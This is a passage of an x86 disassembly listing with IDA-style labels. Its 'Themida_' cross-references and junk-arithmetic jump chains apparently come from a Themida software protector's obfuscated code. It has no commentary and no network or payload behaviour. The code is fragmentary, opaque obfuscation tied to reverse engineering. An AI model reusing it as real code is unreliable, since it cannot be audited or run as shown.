FUNCTION CHUNK AT 0058FF4E SIZE 00000037 BYTES push ebx push edx mov dl, 16h mov bh, dl pop edx inc bh jmp loc_585E78 ; --------------------------------------------------------------------------- loc_585460: ; CODE XREF: Themida_:00588568j mov esi, [esp+0Ah+var_C+2] add esp, 4 push 2027h mov [esp+0Ah+var_C+2], edx jmp loc_5856E8 ; --------------------------------------------------------------------------- loc_585476: ; CODE XREF: sub_585452+39C7j mov esi, ebp pop ebp xor ebp, esi mov esi, [esp+6+var_8+2] add esp, 4 add edx, ebp pop ebp xor eax, edx pop edx push 4749h mov [esp+0], esi push edi push 59B02EAFh mov edi, [esp+6+var_8+2] add esp, 4 not edi sub edi, 0FFFFFFFFh push edx jmp loc_58804A ; --------------------------------------------------------------------------- loc_5854AC: ; CODE XREF: sub_58DCD4-6840j push 434Fh mov [esp+0Ah+var_C+2], ecx jmp loc_5897C7 ; --------------------------------------------------------------------------- loc_5854B9: ; CODE XREF: sub_585452+39F5j sub edx, 7EEE0BDAh jmp loc_58F436 ; --------------------------------------------------------------------------- loc_5854C4: ; CODE XREF: Themida_:00587930j mov [esp+0Ah+var_C+2], ebx jmp loc_586C47 ; --------------------------------------------------------------------------- loc_5854CC: ; CODE XREF: sub_58622C+4F16j shl eax, 3 push ebp jmp loc_58660B ; --------------------------------------------------------------------------- loc_5854D5: ; CODE XREF: Themida_:0058D564j xchg ebp, [esp+0Eh+var_10+2] pop esp shl [esp+0Ah+var_C+2], cl jmp loc_583C20 ; --------------------------------------------------------------------------- loc_5854E1: ; CODE XREF: sub_58405E+40DCj pop eax xor [esp+6+var_4+2], edx jmp loc_5865E7 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+6+var_8+2] push 19E9h jmp loc_585FF8 ; --------------------------------------------------------------------------- loc_5854F9: ; CODE XREF: Themida_:0058E663j add ebx, 904040B5h xor edx, ebx pop ebx jmp loc_58E1BF ; --------------------------------------------------------------------------- loc_585507: ; CODE XREF: sub_587574+3512j push eax mov eax, 0D0FBC2Dh jmp loc_58760C ; --------------------------------------------------------------------------- loc_585512: ; CODE XREF: Themida_:005877CFj sub esp, 4 mov [esp+0Eh+var_10+2], ebx sub esp, 4 mov [esp+12h+var_14+2], eax mov eax, 1B78590Ah mov ebx, eax pop eax and ebx, 3FC26DC4h jmp loc_589D48 ; --------------------------------------------------------------------------- loc_585531: ; CODE XREF: Themida_:0058D895j mov ebx, 6D8E1330h jmp loc_58D010 ; --------------------------------------------------------------------------- loc_58553B: ; CODE XREF: sub_585452-12E0j xor edx, ebx pop ebx add edx, 0EE903D7Ch add ebp, edx pop edx push eax push 2 pop eax push ebx mov ebx, 73D113C1h add ebp, ebx pop ebx add ebp, eax sub ebp, 73D113C1h pop eax xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] jmp loc_585B55 ; --------------------------------------------------------------------------- loc_58556E: ; CODE XREF: sub_585452-12CCj pop eax sub al, bh pop ebx push 988h mov [esp-8+arg_4], ebx mov bl, 0Ch or bl, 9Bh or bl, 34h inc bl jmp loc_58E113 ; --------------------------------------------------------------------------- lodsb push ecx mov ch, 32h not ch push ebx mov bl, 9 push edx mov dh, 57h shl dh, 7 inc dh add dh, 0E8h and dh, 0C1h xor dh, 0BAh jmp loc_58752B ; --------------------------------------------------------------------------- loc_5855A8: ; CODE XREF: Themida_:0058F53Aj add [esp+4+var_4], 4 pop esi push ebp jmp loc_58AED6 ; --------------------------------------------------------------------------- loc_5855B6: ; CODE XREF: sub_585452-1AEj push [esp+arg_0] pop eax jmp loc_584B72 ; --------------------------------------------------------------------------- loc_5855C0: ; CODE XREF: sub_585452+930Aj pop edi pop [esp-4+arg_0] mov esp, [esp-8+arg_4] imul cl movzx cx, ah push small 1682h jmp loc_58519B ; --------------------------------------------------------------------------- loc_5855D6: ; CODE XREF: sub_584FAB+1j mov ebx, 796B4684h mov edx, 8694B97Ch add edx, ebx pop ebx sub edx, 2FF913F6h add edx, ebx add edx, 2FF913F6h xor dword ptr [edx], 1AFD2768h pop edx pop ebx push [esp-12h+arg_E] mov eax, [esp-0Eh+arg_8+2] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-0Ah+arg_4+2] pop esp sub esp, 4 mov [esp-0Ah+arg_4+2], esi mov esi, esp push ecx jmp sub_589C10 ; --------------------------------------------------------------------------- loc_58561E: ; CODE XREF: sub_58EF8B+Ej mov ecx, [esp-6+arg_0+2] add esp, 4 mov cl, dh pop edx pop eax mov bl, cl push [esp-12h+arg_E] mov ecx, [esp-0Eh+arg_8+2] add esp, 4 add esp, 4 mov [edi+eax*4+1], bl pop ebx jmp loc_587ED6 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-1Ah+arg_16] jmp sub_58EA34 ; --------------------------------------------------------------------------- loc_58564F: ; CODE XREF: sub_585452+8C15j xchg ebx, edx neg ebx jmp loc_5874A3 ; --------------------------------------------------------------------------- loc_585658: ; CODE XREF: sub_585452+962Cj xchg ebp, [esp-1Ah+arg_16] pop esp add esp, 4 bt [esp-22h+arg_1E], eax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_585669: ; CODE XREF: sub_585452+58A3j xor edi, [esp-1Eh+arg_1A] jmp loc_58AC9F ; --------------------------------------------------------------------------- loc_585671: ; CODE XREF: sub_585452+7E8Aj pop ecx sub esp, 4 mov [esp-1Eh+arg_1A], edx push eax sub esp, 4 mov [esp-16h+arg_12], esp push ebp mov ebp, 4 add [esp-12h+arg_12], ebp pop ebp pop eax jmp sub_5862E8 ; --------------------------------------------------------------------------- loc_585696: ; CODE XREF: Themida_:0058A032j push 7B56h jmp loc_58E5CA ; --------------------------------------------------------------------------- loc_5856A0: ; CODE XREF: Themida_:0058A4ABj mov edi, [esp-16h+arg_12] add esp, 4 xchg eax, ecx not eax xchg eax, ecx dec ecx push ebp push ecx jmp loc_58F53F ; --------------------------------------------------------------------------- mov ax, word ptr [esp-12h+arg_E] push edx mov edx, esp add edx, 4 push esi jmp loc_58FCE2 ; --------------------------------------------------------------------------- loc_5856C5: ; CODE XREF: Themida_:00587CDEj mov [esp-0Ah+arg_4+2], edi jmp loc_58FBE5 ; --------------------------------------------------------------------------- loc_5856CD: ; CODE XREF: Themida_:0058E01Fj sub [esp-0Ah+arg_E], edx pop edx jmp sub_58BB49 ; --------------------------------------------------------------------------- loc_5856D7: ; CODE XREF: sub_58EFBD+766j mov ebp, [esp-0Eh+arg_8+2] jmp loc_58ACE9 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-0Eh+arg_8+2] jmp sub_58E6C2 ; --------------------------------------------------------------------------- loc_5856E8: ; CODE XREF: sub_585452+1Fj push [esp+0Ah+var_8+2] pop edx jmp loc_586D48 ; --------------------------------------------------------------------------- loc_5856F2: ; CODE XREF: Themida_:00584ED5j mov eax, esp push ecx mov ecx, 4 add eax, 0A0E2570h add eax, ecx sub eax, 0A0E2570h pop ecx push ecx mov ecx, 4 add eax, ecx pop ecx push eax jmp loc_5849CE ; --------------------------------------------------------------------------- loc_585716: ; CODE XREF: sub_585452+521j push [esp+0Eh+var_10+2] pop ebp jmp loc_58E0D9 ; --------------------------------------------------------------------------- loc_58571F: ; CODE XREF: Themida_:0058C106j and ebp, ebx pop ebx xor ebp, 136B30E9h add ebp, 0FFFFFFFFh jmp loc_58A2E2 ; --------------------------------------------------------------------------- loc_585730: ; CODE XREF: sub_585452+4C05j push ecx mov ecx, 4 jmp loc_58C4D1 ; --------------------------------------------------------------------------- loc_58573B: ; CODE XREF: sub_58FA66-BBD9j push edi push esp pop edi push eax mov eax, 7EF372FFh shr eax, 3 xor eax, 38B712D8h xor eax, 73AB28B9h sub eax, 44C2543Ah push ecx mov ecx, 41F04340h sub edi, ecx jmp loc_58F6AB ; --------------------------------------------------------------------------- loc_585763: ; CODE XREF: Themida_:0058F4A6j add edx, 4 jmp loc_585431 ; --------------------------------------------------------------------------- lodsd add eax, 44B77271h sub eax, ebx sub esp, 4 mov [esp+1Eh+var_20+2], esi push edx jmp loc_584357 ; --------------------------------------------------------------------------- push [esp+22h+var_24+2] mov ecx, [esp+26h+var_28+2] push ebx mov ebx, esp push esi jmp loc_58E46B ; --------------------------------------------------------------------------- loc_585794: ; CODE XREF: Themida_:0058890Bj push 111Eh mov [esp+32h+var_34+2], ebp push eax push edi mov edi, 10523C83h mov eax, edi pop edi jmp loc_58D81B ; --------------------------------------------------------------------------- loc_5857AB: ; CODE XREF: Themida_:0058F991j xor eax, ebp pop ebp neg eax jmp loc_58E0FF ; --------------------------------------------------------------------------- loc_5857B5: ; CODE XREF: Themida_:00588D0Fj mov esp, [esp+32h+var_34+2] ror word ptr [esp+32h+var_34+2], cl pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_5857C2: ; CODE XREF: sub_58C92B-81D9j pop edx xchg edi, edx neg edi jmp loc_584B29 ; --------------------------------------------------------------------------- loc_5857CC: ; CODE XREF: Themida_:0058D8FCj xchg esi, [esp+32h+var_34+2] jmp loc_5864E6 ; --------------------------------------------------------------------------- lodsd push ecx mov ecx, 30F96791h jmp loc_58D638 ; --------------------------------------------------------------------------- mov sp, word ptr [esp+36h+var_38+2] jmp loc_583C20 ; --------------------------------------------------------------------------- loc_5857E9: ; CODE XREF: sub_585452+36E1j xor [esp+36h+var_38+2], esi xor esi, [esp+36h+var_38+2] pop esp imul ecx push 73FDh mov [esp+36h+var_38+2], edx push eax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_585801: ; CODE XREF: sub_5877DD+1967j pop ebp pop ebx jmp loc_589564 ; --------------------------------------------------------------------------- loc_585808: ; CODE XREF: Themida_:00587DB6j add edx, ecx pop ecx add edx, 4 xchg edx, [esp+32h+var_34+2] jmp loc_5881F1 ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_585037 push edi jmp loc_589C69 ; --------------------------------------------------------------------------- loc_58582A: ; CODE XREF: Themida_:00584A1Fj mov ebx, 0E4C3CA3h shl ebx, 4 dec ebx jmp loc_58416C ; --------------------------------------------------------------------------- push [esp+36h+var_38+2] push [esp+3Ah+var_3C+2] push [esp+3Eh+var_40+2] mov eax, [esp+42h+var_44+2] add esp, 4 add esp, 4 sub esp, 4 mov [esp+3Eh+var_40+2], ebp mov ebp, esp push 240Dh mov [esp+42h+var_44+2], eax jmp loc_58EA62 ; --------------------------------------------------------------------------- loc_585865: ; CODE XREF: Themida_:00589542j sub ebp, ebx jmp loc_58A55A ; --------------------------------------------------------------------------- loc_58586C: ; CODE XREF: Themida_:00586B98j xchg edi, [esp+42h+var_44+2] mov esp, [esp+42h+var_44+2] pop [esp+42h+var_44+2] xchg edx, esi push edx not [esp+42h+var_44+2] pop edx push esi push edx pop esi jmp loc_5862CB ; --------------------------------------------------------------------------- loc_585884: ; CODE XREF: Themida_:0058BAF3j pop ecx jmp loc_58BD4C ; --------------------------------------------------------------------------- loc_58588A: ; CODE XREF: Themida_:0058DDC1j add edx, 4 sub edx, 4 xchg edx, [esp+3Eh+var_40+2] jmp loc_58497C ; --------------------------------------------------------------------------- loc_58589E: ; CODE XREF: sub_58E931-99F5j inc edi inc edi xor edi, 75721572h add edi, 78993C40h add eax, edi mov edi, [esp+3Eh+var_40+2] add esp, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_58856D ; --------------------------------------------------------------------------- loc_5858C2: ; CODE XREF: sub_5862E8+2A09j mov esp, [esp+3Eh+var_40+2] mov [esp+3Eh+var_40+2], ecx jmp loc_5862B6 ; --------------------------------------------------------------------------- push edx mov edx, esp add edx, 4 sub edx, 4 push edx push [esp+46h+var_44+2] jmp loc_58B004 ; --------------------------------------------------------------------------- loc_5858E6: ; CODE XREF: sub_585452+86BAj pop esi and eax, ebp push [esp+46h+var_48+2] jmp loc_58A82E ; --------------------------------------------------------------------------- loc_5858F1: ; CODE XREF: sub_585452+5FA0j push [esp+4Ah+var_4C+2] pop eax jmp loc_58E407 ; --------------------------------------------------------------------------- loc_5858FA: ; CODE XREF: sub_58DD80-E8Fj not ebp xchg ebp, ecx sub ecx, 87BB5EBEh xor eax, ecx push [esp+4Ah+var_4C+2] pop ecx push edi mov edi, esp push ebp mov ebp, 772E65B0h push ecx mov ecx, 37C64D77h and ebp, ecx pop ecx xor ebp, 27DC0134h add ebp, 18E63B6Ah jmp loc_58EC25 ; --------------------------------------------------------------------------- loc_58592D: ; CODE XREF: Themida_:00584899j pop ebp pop edi add esi, 4 xor esi, [esp+4Ah+var_4C+2] xor [esp+4Ah+var_4C+2], esi xor esi, [esp+4Ah+var_4C+2] pop esp sub [esp+46h+var_48+2], 0EA27D2h add [esp+46h+var_48+2], eax push esi jmp loc_58D594 ; --------------------------------------------------------------------------- loc_58594C: ; CODE XREF: Themida_:0058D7F9j mov ecx, 2AEB69D9h mov edx, 2AEB69DBh xor edx, ecx pop ecx push esi mov esi, 5FB64030h add edi, esi pop esi add edi, 6174196Ch add edi, edx jmp loc_58708A ; --------------------------------------------------------------------------- loc_58596F: ; CODE XREF: Themida_:0058E904j add [esp+46h+var_44+2], ebp jmp loc_585716 ; --------------------------------------------------------------------------- loc_585978: ; CODE XREF: sub_585452+2080j and cl, 95h and cl, 26h jmp loc_58C682 ; --------------------------------------------------------------------------- loc_585983: ; CODE XREF: sub_58DB2A+2Fj mov esi, [esp+46h+var_48+2] push eax mov eax, esp push ebp mov ebp, 4 add eax, ebp jmp loc_58EC53 ; --------------------------------------------------------------------------- loc_585996: ; CODE XREF: sub_585452+7150j neg ebx neg ebx shr ebx, 1 xor ebx, 6CCAE5F7h sub edi, 4792213Ch add edi, 18E921A0h jmp loc_58CF2A ; --------------------------------------------------------------------------- loc_5859B3: ; CODE XREF: Themida_:0058F3ECj push 6905h push 1BE0h mov [esp+56h+var_58+2], esp add [esp+56h+var_58+2], 4 pop [esp+56h+var_58+2] jmp loc_58E8C9 ; --------------------------------------------------------------------------- loc_5859CF: ; CODE XREF: Themida_:00589771j sub ebx, edx sub ebx, 42CC458Fh pop edx jmp loc_5843F4 ; --------------------------------------------------------------------------- loc_5859DD: ; CODE XREF: Themida_:0058756Fj push edi xchg eax, [esp+52h+var_54+2] not eax xchg eax, [esp+52h+var_54+2] jmp loc_587621 ; --------------------------------------------------------------------------- loc_5859EB: ; CODE XREF: sub_58E761-3D60j sub esi, ebx sub esi, 604B0F54h mov ebx, [esp+52h+var_54+2] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+56h+var_58+2] pop esp xor esi, [esp+52h+var_54+2] xor [esp+52h+var_54+2], esi xor esi, [esp+52h+var_54+2] jmp loc_58E7DE ; --------------------------------------------------------------------------- loc_585A14: ; CODE XREF: Themida_:0058FC61j xchg ebp, [esp+52h+var_54+2] pop esp push ebx mov ebx, 70A5599Ah sub ebx, 70A55996h jmp loc_58703F ; --------------------------------------------------------------------------- loc_585A29: ; CODE XREF: Themida_:00589078j add ebx, 2 push ebx push [esp+56h+var_54+2] pop ebx pop [esp+56h+var_58+2] mov esp, [esp+52h+var_54+2] and word ptr [esp+52h+var_54+2], ax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_585A42: ; CODE XREF: sub_585452+8EC8j mov edx, [esp+56h+var_58+2] add esp, 4 add ebx, edi push [esp+52h+var_54+2] pop edi add esp, 4 sub ebx, eax push ecx jmp loc_58A571 ; --------------------------------------------------------------------------- loc_585A5C: ; CODE XREF: Themida_:0058D438j push [esp+52h+var_54+2] pop ebp add esp, 4 jmp loc_583EB3 ; --------------------------------------------------------------------------- loc_585A68: ; CODE XREF: Themida_:0058E648j mov eax, 5CF83CE7h sub esi, eax pop eax jmp loc_58641D ; --------------------------------------------------------------------------- loc_585A75: ; CODE XREF: Themida_:00588E01j mov esi, esp add esi, 4 sub esi, 4 jmp loc_5866D4 ; --------------------------------------------------------------------------- loc_585A85: ; CODE XREF: sub_58DEA3-678Fj add edx, 4 add edx, 4 xchg edx, [esp+4Ah+var_4C+2] jmp loc_58AF96 ; --------------------------------------------------------------------------- loc_585A96: ; CODE XREF: Themida_:0058439Cj sub esp, 4 mov [esp+4Eh+var_50+2], edx push 4695439Bh jmp loc_5884E0 ; --------------------------------------------------------------------------- loc_585AA6: ; CODE XREF: sub_58BE98+1238j add eax, 0F5FCFDACh push eax sub [esp+56h+var_58+2], 62DE0A87h jmp loc_58B3EB ; --------------------------------------------------------------------------- loc_585AB8: ; CODE XREF: Themida_:0058529Ej push 429Ch mov [esp+5Ah+var_5C+2], esp add [esp+5Ah+var_5C+2], 4 jmp loc_585D9D ; --------------------------------------------------------------------------- loc_585ACC: ; CODE XREF: Themida_:005848BAj mov ebx, 14235375h sub edx, ebx pop ebx or ecx, ecx jz loc_588E30 push 5DBFh push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+5Eh+var_60+2] pop esp mov [esp+5Ah+var_5C+2], esp push ebp push ebx mov ebx, 4 jmp sub_58C230 ; --------------------------------------------------------------------------- loc_585B00: ; CODE XREF: sub_58905F+4483j pop ebp xor esi, 11CF6CE1h push esi pop eax jmp loc_5892A5 ; --------------------------------------------------------------------------- loc_585B0E: ; CODE XREF: Themida_:0058C2C1j dec dh jmp loc_58C973 ; --------------------------------------------------------------------------- loc_585B15: ; CODE XREF: sub_585452-DC9j mov [esp-4+arg_0], edx push esp jmp loc_58AC60 ; --------------------------------------------------------------------------- loc_585B1E: ; CODE XREF: sub_585452+DF6j push 4444h jmp loc_58BCBE ; --------------------------------------------------------------------------- loc_585B28: ; CODE XREF: sub_585452+A01j mov esi, [esp+4+var_4] add esp, 4 inc ecx sub ecx, 5F904896h and ecx, 2E66695Dh sub ecx, 3CE96DE0h push ebx mov ebx, 0D17CB36Ah xor ecx, ebx pop ebx add edx, ecx pop ecx jmp loc_584CEA ; --------------------------------------------------------------------------- loc_585B55: ; CODE XREF: sub_585452+117j pop esp idiv cl jmp loc_58A7DE ; --------------------------------------------------------------------------- loc_585B5D: ; CODE XREF: sub_585452+81FBj mov edi, [esp-14h+arg_E+2] add esp, 4 add esp, 4 add eax, ebx sub esp, 4 mov [esp-18h+arg_12+2], ebx mov ebx, 1A376A0Ah add eax, 2D8F32C2h sub eax, ebx sub eax, 2D8F32C2h mov ebx, [esp-18h+arg_12+2] add esp, 4 add eax, 30F96791h jmp sub_58DD80 ; --------------------------------------------------------------------------- loc_585B9B: ; CODE XREF: Themida_:0058B76Aj mov ebx, esp add ebx, 4 jmp loc_58718D ; --------------------------------------------------------------------------- loc_585BA8: ; CODE XREF: sub_585452+623Dj xor edx, 85B61B2Bh add ebx, edx pop edx push edx push 14FEh mov [esp-18h+arg_12+2], ecx mov cl, 0FAh mov dh, 85h xor dh, cl push [esp-18h+arg_12+2] push [esp-14h+arg_E+2] jmp loc_5876CA ; --------------------------------------------------------------------------- loc_585BCB: ; CODE XREF: Themida_:00584F9Fj push ecx jmp loc_5895AE ; --------------------------------------------------------------------------- mov ax, word ptr [esp-0Ch+arg_8] push edi sub esp, 4 push esp pop dword ptr [esp+0] add [esp-4+arg_0], 4 jmp loc_58FA58 ; --------------------------------------------------------------------------- loc_585BEC: ; CODE XREF: sub_585452+5BC3j pop edx neg edx jmp loc_5850DD ; --------------------------------------------------------------------------- loc_585BF4: ; CODE XREF: sub_585452+2EBAj and eax, edi push [esp-8+arg_4] pop edi add esp, 4 shr eax, 0Bh jmp loc_587517 ; --------------------------------------------------------------------------- loc_585C05: ; CODE XREF: Themida_:00584BB6j push ebx jmp loc_587F57 ; --------------------------------------------------------------------------- loc_585C0B: ; CODE XREF: Themida_:0058D5F3j sub ebx, edi mov edi, [esp-8+arg_4] jmp loc_58EF15 ; --------------------------------------------------------------------------- loc_585C15: ; CODE XREF: Themida_:00587983j inc ebp sub ebp, 1DB01667h jmp loc_58F5FC ; --------------------------------------------------------------------------- loc_585C21: ; CODE XREF: Themida_:00587823j mov edi, 2495475Eh add edx, edi jmp loc_58869B ; --------------------------------------------------------------------------- loc_585C2D: ; CODE XREF: Themida_:0058679Cj neg ah push ecx mov ch, 6Bh not ch shr ch, 7 dec ch xor ch, 0Ah jmp loc_587B77 ; --------------------------------------------------------------------------- loc_585C41: ; CODE XREF: sub_585452+87ACj push eax mov eax, 70480C8Eh jmp loc_583CB7 ; --------------------------------------------------------------------------- loc_585C4C: ; CODE XREF: sub_585452+653Dj pop edi add ebp, 2 jmp loc_58B3F7 ; --------------------------------------------------------------------------- loc_585C58: ; CODE XREF: Themida_:0058A18Cj push [esp-4+arg_4] pop edx pop [esp-4+arg_0] pop esp jmp loc_58F41F ; --------------------------------------------------------------------------- loc_585C66: ; CODE XREF: Themida_:0058F188j mov ch, 82h mov bh, 0D6h xor bh, ch pop ecx jmp loc_5888EA ; --------------------------------------------------------------------------- loc_585C72: ; CODE XREF: Themida_:005884C0j sub al, 15h add al, bh add al, 15h pop bx sub al, 7Dh sub al, 8Fh sub al, bl jmp loc_583D89 ; --------------------------------------------------------------------------- loc_585C85: ; CODE XREF: Themida_:0058E014j add edx, esi jmp loc_584024 ; --------------------------------------------------------------------------- loc_585C8C: ; CODE XREF: Themida_:00587209j mov edi, esp jmp loc_58A676 ; --------------------------------------------------------------------------- loc_585C93: ; CODE XREF: sub_585452-11B2j add esp, 4 push edi push [esp-10h+arg_E+2] mov edi, [esp-0Ch+arg_8] add esp, 4 pop dword ptr [esp+0] jmp loc_584B2F ; --------------------------------------------------------------------------- loc_585CAC: ; CODE XREF: sub_58D7D9-7942j or ecx, edx jmp loc_58ACE0 ; --------------------------------------------------------------------------- loc_585CB3: ; CODE XREF: sub_585452+6F7Aj mov esp, [esp-14h+arg_E+2] movzx ecx, al jmp loc_589F6A ; --------------------------------------------------------------------------- loc_585CBE: ; CODE XREF: Themida_:00586C57j xchg ebp, [esp-14h+arg_E+2] pop esp mov [esp-18h+arg_12+2], esi jmp sub_58960C ; --------------------------------------------------------------------------- loc_585CCA: ; CODE XREF: sub_585452+571Cj pop ecx pop ebx push ebp mov ebp, 5B4236E5h add [esp-1Ch+arg_1E+2], ebp pop ebp add [esp-20h+arg_1E+2], eax sub [esp-20h+arg_1E+2], 5B4236E5h pop eax jmp loc_583C20 ; --------------------------------------------------------------------------- loc_585CE9: ; CODE XREF: sub_58E234-442Fj or ebx, 0BB906C5h sub ebx, 0C395FE70h mov edx, ebx jmp loc_58F515 ; --------------------------------------------------------------------------- loc_585CFC: ; CODE XREF: Themida_:00587D53j add edx, ecx pop ecx push edi mov edi, 0FEE768B8h add edx, edi pop edi add eax, edx mov edx, [esp-28h+arg_24] add esp, 4 xor ebx, eax push edi mov edi, esp add edi, 4 push esi jmp sub_589FD5 ; --------------------------------------------------------------------------- loc_585D24: ; CODE XREF: sub_585452+5387j mov [esp-24h+arg_1E+2], esi mov esi, 192371A4h mov edi, 1DE1245Ah xor edi, esi mov esi, [esp-24h+arg_1E+2] add esp, 4 add edi, 1 inc edi jmp loc_58630E ; --------------------------------------------------------------------------- loc_585D48: ; CODE XREF: Themida_:0058FB5Cj push edi push 2E6B501Ah pop edi neg edi xor edi, 1DB204B4h mov esi, edi jmp loc_58F4C4 ; --------------------------------------------------------------------------- loc_585D5E: ; CODE XREF: Themida_:0058C98Cj add ebx, 4 sub ebx, 4 xchg ebx, [esp-24h+arg_1E+2] pop esp mov [esp-28h+arg_24], eax mov eax, 4 add ebx, 6C42ECFh add ebx, eax push ecx mov ecx, 38240EE1h inc ecx jmp sub_58D28B ; --------------------------------------------------------------------------- loc_585D8A: ; CODE XREF: sub_585452+4FB2j xor [esp-24h+arg_1E+2], ebx xor ebx, [esp-24h+arg_1E+2] xor [esp-24h+arg_1E+2], ebx not ebx xchg ebx, [esp-24h+arg_1E+2] jmp loc_5851A8 ; --------------------------------------------------------------------------- loc_585D9D: ; CODE XREF: sub_585452+675j pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp+56h+var_58+2] pop esp pop [esp+52h+var_54+2] pop esp jmp loc_584A48 ; --------------------------------------------------------------------------- loc_585DB4: ; CODE XREF: Themida_:0058AFEEj mov ebx, 3EB862C6h shr ebx, 3 shr ebx, 7 jmp loc_58D5D8 ; --------------------------------------------------------------------------- loc_585DC4: ; CODE XREF: Themida_:0058BD25j jmp loc_583C20 ; --------------------------------------------------------------------------- loc_585DC9: ; CODE XREF: Themida_:0058A555j mov [esp+4Ah+var_4C+2], ebp mov ebp, 4 add eax, ebp mov ebp, [esp+4Ah+var_4C+2] add esp, 4 add eax, 4 xchg eax, [esp+46h+var_48+2] mov esp, [esp+46h+var_48+2] jmp loc_58F416 ; --------------------------------------------------------------------------- loc_585DE7: ; CODE XREF: Themida_:0058F694j add esp, 4 push edi mov edi, esp add edi, 4 push ecx mov ecx, 4 sub edi, ecx pop ecx xchg edi, [esp+46h+var_48+2] jmp loc_58424C ; --------------------------------------------------------------------------- loc_585E07: ; CODE XREF: Themida_:0058521Fj sub edx, 69D516F6h and edx, 6580669Ah add edx, 0B53FFF6h xor ebp, edx pop edx jmp loc_58E12F ; --------------------------------------------------------------------------- loc_585E21: ; CODE XREF: Themida_:0058E2ACj add edi, ecx push eax mov eax, 1E62295Bh sub eax, 0B4FD130Bh sub edi, 136947B8h sub edi, eax add edi, 136947B8h pop eax pop ecx push edi jmp loc_589098 ; --------------------------------------------------------------------------- loc_585E44: ; CODE XREF: sub_585452-6F7j mov [esp-1Ah+arg_16], edx mov edx, 0 jmp loc_588D78 ; --------------------------------------------------------------------------- loc_585E51: ; CODE XREF: Themida_:0058F0F4j xor ecx, esi jmp loc_585B28 ; --------------------------------------------------------------------------- loc_585E58: ; CODE XREF: sub_585452-C67j mov [esp+4+var_4], ebp mov ebp, 1 and eax, ebp jmp loc_5883D8 ; --------------------------------------------------------------------------- loc_585E67: ; CODE XREF: Themida_:0058EE04j xor edx, 273237Fh add edx, 70B037D7h jmp loc_58DB11 ; --------------------------------------------------------------------------- loc_585E78: ; CODE XREF: sub_585452+9j shr bh, 6 jmp loc_588F6B sub_585452 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D7D9 loc_585E80: ; CODE XREF: sub_58D7D9-5FF5j mov ecx, 0F054B3Dh push edx mov edx, 0D2C2665h add edx, 708A1430h sub edx, 180E0979h jmp loc_585CAC ; END OF FUNCTION CHUNK FOR sub_58D7D9 ; --------------------------------------------------------------------------- loc_585E9C: ; CODE XREF: Themida_:0058742Bj mov [esp], edx push esp mov edx, [esp] add esp, 4 add edx, 4 push 618Eh mov [esp], esi jmp loc_588560 ; --------------------------------------------------------------------------- loc_585EB9: ; CODE XREF: Themida_:0058D161j add edx, 39DD2292h add edx, esi jmp loc_58FA4A ; --------------------------------------------------------------------------- loc_585EC6: ; CODE XREF: Themida_:0058B6DCj add ecx, 1D24027h mov edi, ecx mov ecx, [esp] add esp, 4 add ecx, edi mov edi, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx jmp loc_58E87B ; --------------------------------------------------------------------------- loc_585EEA: ; CODE XREF: Themida_:0058415Fj mov ax, [esp] jmp loc_587DCB ; --------------------------------------------------------------------------- loc_585EF3: ; CODE XREF: Themida_:00584F60j add edx, 11465CEDh mov esi, [esp] add esp, 4 jmp loc_589573 ; --------------------------------------------------------------------------- loc_585F07: ; CODE XREF: Themida_:0058A0D5j pop ecx add ecx, 4 push ebp mov ebp, 5B497C5Eh dec ebp shr ebp, 8 or ebp, 5DFC0CEDh push 54BEh mov [esp], eax mov eax, 1 sub ebp, eax jmp loc_588BEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BCA7 loc_585F32: ; CODE XREF: sub_58BCA7-1FDBj add esp, 4 add esp, 4 push ebp push eax push ebx jmp loc_5888E0 ; END OF FUNCTION CHUNK FOR sub_58BCA7 ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_58CAE5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_585F4B: ; CODE XREF: sub_589967-5A9Ej pop esi xchg ebx, [esp+0] pop esp push eax mov eax, esp jmp loc_58BCF9 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- loc_585F58: ; CODE XREF: Themida_:0058B1C4j pop ebp push ecx jmp loc_58D791 ; --------------------------------------------------------------------------- loc_585F5F: ; CODE XREF: Themida_:00586919j add dword ptr [esp], 4 pop dword ptr [esp] sub esp, 4 jmp loc_58BF17 ; --------------------------------------------------------------------------- loc_585F74: ; CODE XREF: Themida_:0058453Dj pop ecx add ecx, 4 jmp loc_58D3AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_585F80: ; CODE XREF: sub_585452+6203j pop esp push 7A14h mov [esp+0Ah+var_C+2], eax sub esp, 4 mov [esp+0Eh+var_10+2], ebx mov ebx, 1AFD2768h xor [esp+0Eh+var_C+2], ebx pop ebx pop dword ptr [edi+40h] push ebx push 40h pop ebx push edi mov edi, 6F7C303Ah add ebx, edi mov edi, [esp+0Eh+var_10+2] add esp, 4 add ebx, edi sub ebx, 6F7C303Ah jmp loc_589B9D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_585FC1: ; CODE XREF: Themida_:0058DBCFj pop edx and ecx, 191A3742h shr ecx, 4 add ecx, 0FFEEFFF2h push ebp push eax mov eax, 66C27F72h jmp loc_584C3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589C10 loc_585FDD: ; CODE XREF: sub_589C10-E3Dj push edx push esp pop edx push ebp jmp loc_58B294 ; END OF FUNCTION CHUNK FOR sub_589C10 ; --------------------------------------------------------------------------- loc_585FE6: ; CODE XREF: Themida_:00586309j sub esp, 4 mov [esp], eax push dword ptr [esp+4] jmp loc_586DA2 ; 